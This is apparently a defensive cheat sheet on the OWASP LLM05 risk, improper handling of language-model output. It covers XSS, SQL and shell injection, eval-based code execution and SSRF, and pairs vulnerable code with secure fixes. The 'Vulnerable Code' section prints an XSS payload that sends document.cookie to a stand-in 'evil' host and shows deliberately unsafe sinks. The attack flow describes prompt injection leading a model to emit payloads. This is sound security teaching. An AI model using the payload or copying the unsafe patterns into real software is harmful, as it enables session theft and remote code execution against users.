LLM05: Improper Output Handling

📋 What Is It?

Improper Output Handling is the insufficient validation, sanitization, and encoding of the text a model produces before it reaches another component. The bug is not in the model — it is in the code that consumes the output and treats it as trusted. The mental model: treat every token an LLM emits as untrusted user input. If that output flows into a browser, shell, SQL query, HTTP client, file path, or eval(), the attacker has reached across the model into your downstream system. (Renamed from 2023's LLM02: Insecure Output Handling.)

LLM05OWASP Rank 2025

XSS → RCEImpact Range

LLM01 → LLM05Common Chain

⚠️ Top Attack Vectors

Reflected / stored XSS: output placed in the DOM via innerHTML
Markdown image/link exfiltration: auto-loaded URL leaks data (zero-click)
SQL / NoSQL injection: output concatenated into a query
OS command injection: output passed through a shell
Code execution via eval/exec: output run as code (highest severity)
SSRF: server fetches a model-supplied URL (cloud metadata, internal)
Path traversal & SSTI: output builds a file path or template source
Agent tool abuse: free-form output selects tool + arguments

🎯 Every Bug Has 3 Conditions

1. INFLUENCE — attacker shapes the output (direct or indirect injection).

2. FLOW — output reaches a sink without context-appropriate encoding/parameterization.

3. SINK — the sink interprets structure: browser parses HTML/JS, DB parses SQL, shell parses metacharacters, eval() parses code.

You can't remove (1) — models are influenceable by design — so defenders concentrate on the handoff (2) and constrain the sink (3).

🔴 Attack Flow

1. INDUCE: attacker influences the prompt (direct or via a doc/page/email)
↓
2. EMIT: model produces output containing a payload (script, SQL, URL, code)
↓
3. EXECUTE: a vulnerable sink interprets the payload
↓
4. IMPACT: XSS, data exfiltration, SSRF, or remote code execution

❌ Vulnerable Code

// Front end: model answer injected as HTML — classic XSS sink
const answer = await getModelAnswer(question);
document.getElementById("reply").innerHTML = answer;   // parses HTML
// Exploit: model returns <img src=x onerror="fetch('//evil/c?'+document.cookie)">

# Python: model output concatenated into SQL and passed to a shell
product = llm(f"Extract the product name from: {user_text}")
cur.execute(f"SELECT * FROM products WHERE name = '{product}'")  # SQLi

name = llm(f"Suggest a filename for: {desc}")
os.system(f"convert input.png /out/{name}.png")   # shell parses ; | $() `

expr = llm(f"Write a Python expression for: {q}")
answer = eval(expr)   # arbitrary code execution
                

✅ Secure Code

// textContent never parses HTML: the payload is shown as literal text
document.getElementById("reply").textContent = answer;
// For Markdown: DOMPurify allow-list, drop <img>, and a strict CSP backstop

# SQL: parameterized — the value can never alter query structure
q = "SELECT id, name, price FROM products WHERE name = ?"
conn.execute(q, (product,)).fetchall()

# Shell: argument array, no shell -> metacharacters are inert
if not re.fullmatch(r"[a-zA-Z0-9_-]{1,40}", name or ""):
    name = f"thumb-{uuid.uuid4().hex}"
subprocess.run(["convert", "input.png", f"/out/{name}.png"],
               shell=False, check=True, timeout=10)

# Never eval model output — parse a constrained grammar / safe evaluator
if not re.fullmatch(r"[0-9+\-*/().\s]{1,100}", expr):
    raise ValueError("unsupported expression")
result = safe_math_eval(expr)   # no host access, no import
                

✓ Prevention Checklist

Treat model output as untrusted input everywhere it crosses a boundary
Context-encode for the exact sink (HTML body/attr, JS, URL, CSS, SQL, shell)
Parameterize all DB calls; bind output as values only
Never pass output to eval/exec/os.system/deserializers; sandbox any code
Sanitize Markdown/HTML with a strict allow-list; serve a restrictive CSP
Allow-list model-supplied URLs (scheme + host) before any fetch (SSRF)
Canonicalize file paths with a base-directory containment check
Schema-validate + allow-list agent tool arguments; least-privilege creds
Human approval for high-impact actions; log output that triggers side effects

🧰 Tools & Takeaway

DOMPurify bleach Content-Security-Policy Pydantic (tool schemas) Parameterized queries SAST taint tracking

"It came from our own AI" is provenance, not integrity. Guardrails target harmful meaning; a benign-looking sentence can still carry </script>, a SQL quote, or a shell metacharacter. Deterministic encoding/parameterization at the sink is what actually stops the exploit — mark the model client as an appsec source and your XSS/SQLi/SSRF tooling lights up.

🖨️ Improper Output HandlingLLM05